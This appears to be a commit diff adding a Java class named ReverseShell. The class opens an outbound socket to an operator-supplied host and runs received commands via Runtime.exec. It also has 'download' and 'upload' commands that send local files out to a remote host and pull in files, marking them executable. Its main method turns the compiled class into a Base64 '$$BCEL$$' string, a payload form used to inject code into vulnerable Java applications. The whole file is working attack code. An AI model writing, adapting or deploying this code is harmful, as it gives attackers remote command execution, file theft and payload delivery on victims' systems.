1+ import com .sun .org .apache .bcel .internal .classfile .Utility ;
2+ import java .io .BufferedReader ;
3+ import java .io .BufferedWriter ;
4+ import java .io .File ;
5+ import java .io .IOException ;
6+ import java .io .InputStream ;
7+ import java .io .InputStreamReader ;
8+ import java .io .OutputStream ;
9+ import java .io .OutputStreamWriter ;
10+ import java .net .Socket ;
11+ import java .nio .file .Files ;
12+ import java .nio .file .Path ;
13+ import java .nio .file .Paths ;
14+ import java .util .Base64 ;
15+
16+ public class ReverseShell implements Runnable {
17+
18+ private String ip ;
19+ private Integer port ;
20+
21+ private InputStream inputStream ;
22+ private OutputStream outputStream ;
23+
24+ public ReverseShell (String ip , Integer port ) {
25+ this .ip = ip ;
26+ this .port = port ;
27+ new Thread (this ).start ();
28+ }
29+
30+ public ReverseShell (InputStream inputStream , OutputStream outputStream ) {
31+ this .inputStream = inputStream ;
32+ this .outputStream = outputStream ;
33+ new Thread (this ).start ();
34+ }
35+
36+ @ Override
37+ public void run () {
38+ if (outputStream != null && inputStream != null ) {
39+ try {
40+ BufferedWriter bufferedWriter = new BufferedWriter (new OutputStreamWriter (outputStream ));
41+ BufferedReader read = new BufferedReader (new InputStreamReader (inputStream ));
42+ String line2 ;
43+ while ((line2 = read .readLine ()) != null ) {
44+ bufferedWriter .write (line2 );
45+ bufferedWriter .newLine ();
46+ bufferedWriter .flush ();
47+ }
48+ } catch (Exception e ) {}
49+ } else {
50+ try {
51+ Socket socket = new Socket (ip , port );
52+ BufferedWriter bufferedWriter = new BufferedWriter (
53+ new OutputStreamWriter (socket .getOutputStream ()));
54+ bufferedWriter .write ("success!" );
55+ bufferedWriter .newLine ();
56+ bufferedWriter .flush ();
57+
58+ BufferedReader bufferedReader = new BufferedReader (new InputStreamReader (socket .getInputStream ()));
59+ while (true ) {
60+ String line = bufferedReader .readLine ();
61+ if (line .equals ("exit" ))
62+ return ;
63+ Process pro = null ;
64+ try {
65+ if (line .startsWith ("${IFS}" )) {
66+ line = line .substring (6 );
67+ String [] cmd = line .split ("\\ $\\ {IFS\\ }" );
68+ pro = Runtime .getRuntime ().exec (cmd );
69+ } else if (line .startsWith ("download" )) {
70+ line = line .substring (8 ).trim ();
71+ String [] cmd = line .split (" " );
72+ String file = cmd [0 ];
73+ String ip = cmd [1 ];
74+ String port = cmd [2 ];
75+ byte [] bytes = Files .readAllBytes (Paths .get (file ));
76+ Socket transferFileSocket = new Socket (ip , Integer .parseInt (port ));
77+ transferFileSocket .getOutputStream ().write (bytes );
78+ transferFileSocket .getOutputStream ().flush ();
79+ transferFileSocket .getOutputStream ().close ();
80+ transferFileSocket .close ();
81+ } else if (line .startsWith ("upload" )) {
82+ line = line .substring (6 ).trim ();
83+ String [] cmd = line .split (" " );
84+ String file = cmd [0 ];
85+ String ip = cmd [1 ];
86+ String port = cmd [2 ];
87+ Socket transferFileSocket = new Socket (ip , Integer .parseInt (port ));
88+ InputStream inputStream = transferFileSocket .getInputStream ();
89+ Path path = Paths .get (file );
90+ Files .copy (inputStream , path );
91+ if (Files .exists (path )) {
92+ File toSetFile = path .toFile ();
93+ toSetFile .setExecutable (true );
94+ toSetFile .setReadable (true );
95+ toSetFile .setWritable (true );
96+ }
97+ inputStream .close ();
98+ transferFileSocket .close ();
99+ } else {
100+ pro = Runtime .getRuntime ().exec (line );
101+ }
102+ } catch (Exception e ) {
103+ bufferedWriter .write (e .getMessage ());
104+ bufferedWriter .newLine ();
105+ bufferedWriter .flush ();
106+ }
107+ if (pro == null ) {
108+ continue ;
109+ }
110+
111+ new ReverseShell (pro .getInputStream (), socket .getOutputStream ());
112+ new ReverseShell (pro .getErrorStream (), socket .getOutputStream ());
113+ }
114+
115+ } catch (IOException e ) {}
116+ }
117+ }
118+
119+ public static void main (String [] args ) throws Exception {
120+ InputStream inputStream = ReverseShell .class .getResourceAsStream ("ReverseShell.class" );
121+ byte [] bytes = new byte [inputStream .available ()];
122+ inputStream .read (bytes );
123+ String code = Utility .encode (bytes , true );
124+ System .out .println (Base64 .getEncoder ().encodeToString (("$$BCEL$$" + code ).getBytes ()));
125+ // new ReverseShell("127.0.0.1", 12345);
126+ }
127+ }
0 commit comments